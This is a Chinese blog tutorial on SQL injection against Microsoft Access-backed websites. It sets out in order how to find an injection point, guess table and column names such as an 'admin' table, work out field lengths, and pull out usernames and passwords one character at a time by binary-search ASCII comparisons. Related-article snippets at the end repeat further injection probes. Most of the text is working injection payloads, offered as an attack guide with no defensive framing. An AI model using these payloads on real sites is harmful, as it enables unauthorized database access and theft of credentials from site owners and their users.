ACCESS資料庫的注入

2021-09-20 20:35:36 字數 1033 閱讀 7407

access資料庫的注入access資料庫的注入與mssql不同,要得到表名,字段,以及欄位的內容不能用mssql"暴"的方法直接得

到,access只能用猜解出表名和字段,然後再猜解出字段的長度,最後把字段的內容從第一位到第n位乙個個猜

解出來,採用的猜解方法類似玩乙個遊戲猜大小,比如乙個數字,猜是否大於100如果不是,剛猜是否大於1,如果

為正確,那麼再猜是否大於50,如

果正確,則再猜是否大於80,一直這樣猜下去,這種猜解字段內容的方法,被稱為"折半猜解法".

第一步,確定注入點:

用' 或者1=1 1=2檢測

第二步,猜解表名

用 and exists (select * from [admin]) 檢測是否存在admin表,admin這個表名可以替換成其它的表名

進行猜解,如果存在該錶名返回結果為正常,如果不存在則返回為出錯,

第三步,猜解某錶名中存在的字段

and exists (select top 1 [name] from [admin])     前面[name]方括號中的name可以換成你要查詢的

欄位名,後面admin則是要查詢的表名,這一句的意思就是查詢在admin表中是否存在name欄位,和上面的一

樣,如果存在返回頁面為正常頁,如果不存在,則是出錯頁面

第四步.猜解字段的長段

and (select top 1 len(username) from admin)>0   len引數提取字段長度()內的username是字段

名,>0可以換成》1.>2直到猜中欄位的長度

第五步,折半法猜出--重為關鍵的一環

and (select top 1 asc(mid(username,n,1)) from admin)>0   猜解第n位的ascii碼 >0取值從負數到

正數都有可能,當然常見的密碼都是數字加字母的組和,他們的ascii值在0-128之間,將值替換為這之間的值,

如果正確,則返回正常頁面,如果不是責返回出錯,

將n分別替換為1 2 3 4... 反覆猜解即可得出欄位每乙個位數的值而得到密碼

Access資料庫注入方法

檢測注入型別 1.數字型 and 1 1 返回正常頁面 and 1 2 返回錯誤頁面或者和1 1返回的頁面不同 2.字元型 and 1 1 and 返回正常頁面 and 1 2 and 返回錯誤頁面或者和1 1返回的頁面不同 3.搜尋型 and 1 1 and 返回正常頁面 and 1 2 and ...

Access資料庫注入詳解

access資料庫注入詳解 一 判斷資料庫 1.access and exists select from msysobjects 0 2.sqlserver and exists select from sysobjects 0 二 判斷資料庫中的表 and exsits select from ...

ACCESS資料庫注入詳解

asp鏈結access資料庫 driver dbq mdb uid admin pwd pass dim conn set conn server.createobject adodb.connection access注入原理 判斷注入點 and 1 1 and 1 2 0 1 判斷資料庫注入 a...